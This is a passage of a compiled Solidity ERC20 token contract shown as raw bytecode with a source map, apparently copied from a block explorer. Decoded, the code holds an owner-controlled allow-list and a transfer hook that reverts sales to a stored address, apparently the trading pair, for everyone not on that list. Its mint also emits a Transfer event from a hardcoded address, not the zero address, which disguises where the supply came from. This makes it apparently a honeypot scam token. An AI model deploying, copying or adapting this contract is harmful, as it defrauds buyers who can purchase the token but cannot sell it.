565b82525050565b60006020820190506112bb6000830184611297565b92915050565b6000602082840312156112d7576112d66110fe565b5b60006112e58482850161114c565b91505092915050565b6112f781611123565b82525050565b600060208201905061131260008301846112ee565b92915050565b611321816111d7565b811461132c57600080fd5b50565b60008135905061133e81611318565b92915050565b6000806040838503121561135b5761135a6110fe565b5b60006113698582860161114c565b925050602061137a8582860161132f565b9150509250929050565b6000806040838503121561139b5761139a6110fe565b5b60006113a98582860161114c565b92505060206113ba8582860161114c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061140b57607f821691505b60208210810361141e5761141d6113c4565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611480602883611057565b915061148b82611424565b604082019050919050565b600060208201905081810360008301526114af81611473565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114f082611161565b91506114fb83611161565b9250828203905081811115611513576115126114b6565b5b92915050565b600061152482611161565b915061152f83611161565b9250828201905080821115611547576115466114b6565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611583602083611057565b915061158e8261154d565b602082019050919050565b600060208201905081810360008301526115b281611576565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611615602583611057565b9150611620826115b9565b604082019050919050565b6000602082019050818103600083015261164481611608565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000611681601f83611057565b915061168c8261164b565b602082019050919050565b600060208201905081810360008301526116b081611674565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611713602483611057565b915061171e826116b7565b604082019050919050565b6000602082019050818103600083015261174281611706565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006117a5602283611057565b91506117b082611749565b604082019050919050565b600060208201905081810360008301526117d481611798565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611837602583611057565b9150611842826117db565b604082019050919050565b600060208201905081810360008301526118668161182a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118c9602383611057565b91506118d48261186d565b604082019050919050565b600060208201905081810360008301526118f8816118bc565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061195b602683611057565b9150611966826118ff565b604082019050919050565b6000602082019050818103600083015261198a8161194e565b9050919050565b7f736f6d657468696e672077656e742077726f6e67000000000000000000000000600082015250565b60006119c7601483611057565b91506119d282611991565b602082019050919050565b600060208201905081810360008301526119f6816119ba565b905091905056fea2646970667358221220e6f3974b19e8740e9d99604ee5887e8c03799daba698e6f401b5e7a1920f427464736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806378051f4d1161008c578063a457c2d711610066578063a457c2d714610261578063a9059cbb14610291578063b3f684fb146102c1578063dd62ed3e146102dd576100ea565b806378051f4d146102095780638da5cb5b1461022557806395d89b4114610243576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f761030d565b60405161010491906110dc565b60405180910390f35b61012760048036038101906101229190611197565b61039f565b60405161013491906111f2565b60405180910390f35b6101456103bd565b604051610152919061121c565b60405180910390f35b61017560048036038101906101709190611237565b6103c7565b60405161018291906111f2565b60405180910390f35b6101936104c8565b6040516101a091906112a6565b60405180910390f35b6101c360048036038101906101be9190611197565b6104d1565b6040516101d091906111f2565b60405180910390f35b6101f360048036038101906101ee91906112c1565b61057d565b604051610200919061121c565b60405180910390f35b610223600480360381019061021e91906112c1565b6105c5565b005b61022d610685565b60405161023a91906112fd565b60405180910390f35b61024b6106af565b60405161025891906110dc565b60405180910390f35b61027b60048036038101906102769190611197565b610741565b60405161028891906111f2565b60405180910390f35b6102ab60048036038101906102a69190611197565b610835565b6040516102b891906111f2565b60405180910390f35b6102db60048036038101906102d69190611344565b610853565b005b6102f760048036038101906102f29190611384565b61092a565b604051610304919061121c565b60405180910390f35b60606003805461031c906113f3565b80601f0160208091040260200160405190810160405280929190818152602001828054610348906113f3565b80156103955780601f1061036a57610100808354040283529160200191610395565b820191906000526020600020905b81548152906001019060200180831161037857829003601f168201915b5050505050905090565b60006103b36103ac610b17565b8484610b1f565b6001905092915050565b6000600254905090565b60006103d4848484610ce8565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061041f610b17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561049f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049690611496565b60405180910390fd5b6104bc856104ab610b17565b85846104b791906114e5565b610b1f565b60019150509392505050565b60006012905090565b60006105736104de610b17565b8484600160006104ec610b17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461056e9190611519565b610b1f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105cd610b17565b73ffffffffffffffffffffffffffffffffffffffff166105eb610685565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890611599565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106be906113f3565b80601f01602080910402602001604051908101604052809291908181526020018280546106ea906113f3565b80156107375780601f1061070c57610100808354040283529160200191610737565b820191906000526020600020905b81548152906001019060200180831161071a57829003601f168201915b5050505050905090565b60008060016000610750610b17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561080d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108049061162b565b60405180910390fd5b61082a610818610b17565b85858461082591906114e5565b610b1f565b600191505092915050565b6000610849610842610b17565b8484610ce8565b6001905092915050565b61085b610b17565b73ffffffffffffffffffffffffffffffffffffffff16610879610685565b73ffffffffffffffffffffffffffffffffffffffff16146108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c690611599565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1790611697565b60405180910390fd5b610a2c60008383610f65565b8060026000828254610a3e9190611519565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a939190611519565b925050819055508173ffffffffffffffffffffffffffffffffffffffff1673f99613b4ae868b1ab1219ba4faf933da928ea8ec73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b0b919061121c565b60405180910390a35050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8590611729565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf4906117bb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cdb919061121c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e9061184d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbd906118df565b60405180910390fd5b610dd1838383610f65565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4e90611971565b60405180910390fd5b8181610e6391906114e5565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef39190611519565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f57919061121c565b60405180910390a350505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361104757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d906119dd565b60405180910390fd5b5b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561108657808201518184015260208101905061106b565b60008484015250505050565b6000601f19601f8301169050919050565b60006110ae8261104c565b6110b88185611057565b93506110c8818560208601611068565b6110d181611092565b840191505092915050565b600060208201905081810360008301526110f681846110a3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061112e82611103565b9050919050565b61113e81611123565b811461114957600080fd5b50565b60008135905061115b81611135565b92915050565b6000819050919050565b61117481611161565b811461117f57600080fd5b50565b6000813590506111918161116b565b92915050565b600080604083850312156111ae576111ad6110fe565b5b60006111bc8582860161114c565b92505060206111cd85828601611182565b9150509250929050565b60008115159050919050565b6111ec816111d7565b82525050565b600060208201905061120760008301846111e3565b92915050565b61121681611161565b82525050565b6000602082019050611231600083018461120d565b92915050565b6000806000606084860312156112505761124f6110fe565b5b600061125e8682870161114c565b935050602061126f8682870161114c565b925050604061128086828701611182565b9150509250925092565b600060ff82169050919050565b6112a08161128a565b82525050565b60006020820190506112bb6000830184611297565b92915050565b6000602082840312156112d7576112d66110fe565b5b60006112e58482850161114c565b91505092915050565b6112f781611123565b82525050565b600060208201905061131260008301846112ee565b92915050565b611321816111d7565b811461132c57600080fd5b50565b60008135905061133e81611318565b92915050565b6000806040838503121561135b5761135a6110fe565b5b60006113698582860161114c565b925050602061137a8582860161132f565b9150509250929050565b6000806040838503121561139b5761139a6110fe565b5b60006113a98582860161114c565b92505060206113ba8582860161114c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061140b57607f821691505b60208210810361141e5761141d6113c4565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611480602883611057565b915061148b82611424565b604082019050919050565b600060208201905081810360008301526114af81611473565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114f082611161565b91506114fb83611161565b9250828203905081811115611513576115126114b6565b5b92915050565b600061152482611161565b915061152f83611161565b9250828201905080821115611547576115466114b6565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611583602083611057565b915061158e8261154d565b602082019050919050565b600060208201905081810360008301526115b281611576565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611615602583611057565b9150611620826115b9565b604082019050919050565b6000602082019050818103600083015261164481611608565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000611681601f83611057565b915061168c8261164b565b602082019050919050565b600060208201905081810360008301526116b081611674565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611713602483611057565b915061171e826116b7565b604082019050919050565b6000602082019050818103600083015261174281611706565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006117a5602283611057565b91506117b082611749565b604082019050919050565b600060208201905081810360008301526117d481611798565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611837602583611057565b9150611842826117db565b604082019050919050565b600060208201905081810360008301526118668161182a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118c9602383611057565b91506118d48261186d565b604082019050919050565b600060208201905081810360008301526118f8816118bc565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061195b602683611057565b9150611966826118ff565b604082019050919050565b6000602082019050818103600083015261198a8161194e565b9050919050565b7f736f6d657468696e672077656e742077726f6e67000000000000000000000000600082015250565b60006119c7601483611057565b91506119d282611991565b602082019050919050565b600060208201905081810360008301526119f6816119ba565b905091905056fea2646970667358221220e6f3974b19e8740e9d99604ee5887e8c03799daba698e6f401b5e7a1920f427464736f6c63430008110033

Deployed Bytecode Sourcemap

17149:1023:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8337:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10504:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9457:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11155:422;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9299:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11986:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9628:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17869:88;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2055:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8556:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12704:377;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9968:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17756:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10206:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8337:100;8391:13;8424:5;8417:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8337:100;:::o;10504:169::-;10587:4;10604:39;10613:12;:10;:12::i;:::-;10627:7;10636:6;10604:8;:39::i;:::-;10661:4;10654:11;;10504:169;;;;:::o;9457:108::-;9518:7;9545:12;;9538:19;;9457:108;:::o;11155:422::-;11261:4;11278:36;11288:6;11296:9;11307:6;11278:9;:36::i;:::-;11327:24;11354:11;:19;11366:6;11354:19;;;;;;;;;;;;;;;:33;11374:12;:10;:12::i;:::-;11354:33;;;;;;;;;;;;;;;;11327:60;;11426:6;11406:16;:26;;11398:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;11488:57;11497:6;11505:12;:10;:12::i;:::-;11538:6;11519:16;:25;;;;:::i;:::-;11488:8;:57::i;:::-;11565:4;11558:11;;;11155:422;;;;;:::o;9299:93::-;9357:5;9382:2;9375:9;;9299:93;:::o;11986:215::-;12074:4;12091:80;12100:12;:10;:12::i;:::-;12114:7;12160:10;12123:11;:25;12135:12;:10;:12::i;:::-;12123:25;;;;;;;;;;;;;;;:34;12149:7;12123:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;12091:8;:80::i;:::-;12189:4;12182:11;;11986:215;;;;:::o;9628:127::-;9702:7;9729:9;:18;9739:7;9729:18;;;;;;;;;;;;;;;;9722:25;;9628:127;;;:::o;17869:88::-;2286:12;:10;:12::i;:::-;2275:23;;:7;:5;:7::i;:::-;:23;;;2267:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17945:4:::1;17938;;:11;;;;;;;;;;;;;;;;;;17869:88:::0;:::o;2055:87::-;2101:7;2128:6;;;;;;;;;;;2121:13;;2055:87;:::o;8556:104::-;8612:13;8645:7;8638:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8556:104;:::o;12704:377::-;12797:4;12814:24;12841:11;:25;12853:12;:10;:12::i;:::-;12841:25;;;;;;;;;;;;;;;:34;12867:7;12841:34;;;;;;;;;;;;;;;;12814:61;;12914:15;12894:16;:35;;12886:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;12982:67;12991:12;:10;:12::i;:::-;13005:7;13033:15;13014:16;:34;;;;:::i;:::-;12982:8;:67::i;:::-;13069:4;13062:11;;;12704:377;;;;:::o;9968:175::-;10054:4;10071:42;10081:12;:10;:12::i;:::-;10095:9;10106:6;10071:9;:42::i;:::-;10131:4;10124:11;;9968:175;;;;:::o;17756:107::-;2286:12;:10;:12::i;:::-;2275:23;;:7;:5;:7::i;:::-;:23;;;2267:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17849:6:::1;17833:7;:13;17841:4;17833:13;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;17756:107:::0;;:::o;10206:151::-;10295:7;10322:11;:18;10334:5;10322:18;;;;;;;;;;;;;;;:27;10341:7;10322:27;;;;;;;;;;;;;;;;10315:34;;10206:151;;;;:::o;14457:379::-;14560:1;14541:21;;:7;:21;;;14533:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;14611:49;14640:1;14644:7;14653:6;14611:20;:49::i;:::-;14689:6;14673:12;;:22;;;;;;;:::i;:::-;;;;;;;;14728:6;14706:9;:18;14716:7;14706:18;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;14812:7;14750:78;;14767:42;14750:78;;;14821:6;14750:78;;;;;;:::i;:::-;;;;;;;;14457:379;;:::o;628:98::-;681:7;708:10;701:17;;628:98;:::o;16101:346::-;16220:1;16203:19;;:5;:19;;;16195:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16301:1;16282:21;;:7;:21;;;16274:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16385:6;16355:11;:18;16367:5;16355:18;;;;;;;;;;;;;;;:27;16374:7;16355:27;;;;;;;;;;;;;;;:36;;;;16423:7;16407:32;;16416:5;16407:32;;;16432:6;16407:32;;;;;;:::i;:::-;;;;;;;;16101:346;;;:::o;13571:604::-;13695:1;13677:20;;:6;:20;;;13669:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13779:1;13758:23;;:9;:23;;;13750:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13834:47;13855:6;13863:9;13874:6;13834:20;:47::i;:::-;13894:21;13918:9;:17;13928:6;13918:17;;;;;;;;;;;;;;;;13894:41;;13971:6;13954:13;:23;;13946:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;14067:6;14051:13;:22;;;;:::i;:::-;14031:9;:17;14041:6;14031:17;;;;;;;;;;;;;;;:42;;;;14108:6;14084:9;:20;14094:9;14084:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;14149:9;14132:35;;14141:6;14132:35;;;14160:6;14132:35;;;;;;:::i;:::-;;;;;;;;13658:517;13571:604;;;:::o;17965:204::-;18083:4;;;;;;;;;;;18077:10;;:2;:10;;;18074:88;;18112:7;:13;18120:4;18112:13;;;;;;;;;;;;;;;;;;;;;;;;;18104:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;18074:88;17965:204;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:116::-;5610:21;5625:5;5610:21;:::i;:::-;5603:5;5600:32;5590:60;;5646:1;5643;5636:12;5590:60;5540:116;:::o;5662:133::-;5705:5;5743:6;5730:20;5721:29;;5759:30;5783:5;5759:30;:::i;:::-;5662:133;;;;:::o;5801:468::-;5866:6;5874;5923:2;5911:9;5902:7;5898:23;5894:32;5891:119;;;5929:79;;:::i;:::-;5891:119;6049:1;6074:53;6119:7;6110:6;6099:9;6095:22;6074:53;:::i;:::-;6064:63;;6020:117;6176:2;6202:50;6244:7;6235:6;6224:9;6220:22;6202:50;:::i;:::-;6192:60;;6147:115;5801:468;;;;;:::o;6275:474::-;6343:6;6351;6400:2;6388:9;6379:7;6375:23;6371:32;6368:119;;;6406:79;;:::i;:::-;6368:119;6526:1;6551:53;6596:7;6587:6;6576:9;6572:22;6551:53;:::i;:::-;6541:63;;6497:117;6653:2;6679:53;6724:7;6715:6;6704:9;6700:22;6679:53;:::i;:::-;6669:63;;6624:118;6275:474;;;;;:::o;6755:180::-;6803:77;6800:1;6793:88;6900:4;6897:1;6890:15;6924:4;6921:1;6914:15;6941:320;6985:6;7022:1;7016:4;7012:12;7002:22;;7069:1;7063:4;7059:12;7090:18;7080:81;;7146:4;7138:6;7134:17;7124:27;;7080:81;7208:2;7200:6;7197:14;7177:18;7174:38;7171:84;;7227:18;;:::i;:::-;7171:84;6992:269;6941:320;;;:::o;7267:227::-;7407:34;7403:1;7395:6;7391:14;7384:58;7476:10;7471:2;7463:6;7459:15;7452:35;7267:227;:::o;7500:366::-;7642:3;7663:67;7727:2;7722:3;7663:67;:::i;:::-;7656:74;;7739:93;7828:3;7739:93;:::i;:::-;7857:2;7852:3;7848:12;7841:19;;7500:366;;;:::o;7872:419::-;8038:4;8076:2;8065:9;8061:18;8053:26;;8125:9;8119:4;8115:20;8111:1;8100:9;8096:17;8089:47;8153:131;8279:4;8153:131;:::i;:::-;8145:139;;7872:419;;;:::o;8297:180::-;8345:77;8342:1;8335:88;8442:4;8439:1;8432:15;8466:4;8463:1;8456:15;8483:194;8523:4;8543:20;8561:1;8543:20;:::i;:::-;8538:25;;8577:20;8595:1;8577:20;:::i;:::-;8572:25;;8621:1;8618;8614:9;8606:17;;8645:1;8639:4;8636:11;8633:37;;;8650:18;;:::i;:::-;8633:37;8483:194;;;;:::o;8683:191::-;8723:3;8742:20;8760:1;8742:20;:::i;:::-;8737:25;;8776:20;8794:1;8776:20;:::i;:::-;8771:25;;8819:1;8816;8812:9;8805:16;;8840:3;8837:1;8834:10;8831:36;;;8847:18;;:::i;:::-;8831:36;8683:191;;;;:::o;8880:182::-;9020:34;9016:1;9008:6;9004:14;8997:58;8880:182;:::o;9068:366::-;9210:3;9231:67;9295:2;9290:3;9231:67;:::i;:::-;9224:74;;9307:93;9396:3;9307:93;:::i;:::-;9425:2;9420:3;9416:12;9409:19;;9068:366;;;:::o;9440:419::-;9606:4;9644:2;9633:9;9629:18;9621:26;;9693:9;9687:4;9683:20;9679:1;9668:9;9664:17;9657:47;9721:131;9847:4;9721:131;:::i;:::-;9713:139;;9440:419;;;:::o;9865:224::-;10005:34;10001:1;9993:6;9989:14;9982:58;10074:7;10069:2;10061:6;10057:15;10050:32;9865:224;:::o;10095:366::-;10237:3;10258:67;10322:2;10317:3;10258:67;:::i;:::-;10251:74;;10334:93;10423:3;10334:93;:::i;:::-;10452:2;10447:3;10443:12;10436:19;;10095:366;;;:::o;10467:419::-;10633:4;10671:2;10660:9;10656:18;10648:26;;10720:9;10714:4;10710:20;10706:1;10695:9;10691:17;10684:47;10748:131;10874:4;10748:131;:::i;:::-;10740:139;;10467:419;;;:::o;10892:181::-;11032:33;11028:1;11020:6;11016:14;11009:57;10892:181;: